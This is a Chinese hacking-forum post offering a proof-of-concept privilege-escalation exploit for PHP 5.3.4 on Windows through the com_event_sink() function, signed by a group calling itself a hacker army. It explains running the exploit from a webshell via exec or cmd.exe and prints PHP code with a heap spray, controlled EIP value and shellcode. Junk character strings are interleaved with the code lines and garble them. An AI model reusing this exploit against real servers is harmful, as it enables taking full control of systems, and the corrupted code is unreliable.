|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
2 e# ^4 @+ f. j! N# `: e u& }: C7 Q( f& }! Q0 Y
测试方法如下:cmd /c x:\php\php.exe x:\test.php; Q `1 I8 ^- Z8 x- ^0 H
' h$ P! ^% q0 j- M7 U* b) Q' U% V
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
5 E: A O! k. r4 a这里是两个测试的截图:# J2 J7 A7 d! r1 b& K, |1 N
4 L$ z7 x2 u& c( x1 M
/ H0 @3 s% R8 o
& Y7 V3 s b- K9 S' i5 c" d
' x- _/ s* e9 i9 ?/ q7 s% ?: h
2 E5 M9 l# Z2 a$ C成功利用此漏洞的攻击者将获得系统的最高权限
& z3 l" q/ y# m! r0 h# O: G4 P, |, |5 a1 D( p
% U! K" P# v+ ~% d$ k# I% k+ N5 o- c. q8 G T
" J3 B+ Q" j4 q9 _
. v. S7 U+ G- E/ O关于漏洞分析稍后附上。一下是PoC代码:
& Q( L8 l/ `" z+ N5 ^
) M. ~3 D; b9 q<?php3 |0 T2 c# v8 l. K3 T9 `6 P3 W
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
3 t' @) A/ L: A$ j' t3 y//$eip ="\x44\x43\x42\x41";5 d, [; W( K! n8 B
$eip= "\x4b\xe8\x57\x78";
3 T5 o ? [1 f# i0 o, r ~" e" K5 l" ^$eax ="\x80\x01\x8d\x04";" K* \$ i6 M/ V) q3 h0 J8 V0 A
$deodrant="";
, F9 o' B. ^3 h4 v# ~* N; s( ]$axespray = str_repeat($eip.$eax,0x80);! l7 \0 Z# K/ W, H& y
//048d0190
. `/ e1 d' m+ I/ S5 uecho strlen($axespray);
4 D+ F- `4 W7 H0 z- M4 Uecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";5 k; o2 I: G$ W u* q
echo "Silic Group Hacker Army - BlackBap.Org";$ x. _+ ~( I: t9 Y1 b) u$ Q
//19200 ==4B32 4b00
, q/ w/ u7 U3 ofor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
; y! c! s/ M8 w. C, e0 F. f$terminate = "T";9 W0 F% ~" N/ {" H2 Y* ~2 n
$u[] =$deodrant;) r& Y9 H9 j" B5 G9 l' p
$r[] =$deodrant.$terminate;1 H6 b' M$ f5 H$ \' ]
$a[] =$deodrant.$terminate;3 `4 z8 X5 s$ O
$s[] =$deodrant.$terminate;
0 U) H; u T T/ w2 b; F6 {- K//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的/ B1 h, F1 p6 [, c+ g( \
$vVar = new VARIANT(0x048d0000+180);
4 N0 ~2 K0 [$ X/ M' y+ O. L, m, [' k) n//弹窗代码(Shellcode)
: `! s+ U0 S2 p$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";# r: @- {) D! z& g
$var2 = new VARIANT(0x41414242);
1 W: S5 F v- v1 Fcom_event_sink($vVar,$var2,$buffer);0 Y( r6 k. G. t. }4 |3 O2 L8 |% L
?>1 V0 }7 |% N* F& q2 h
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|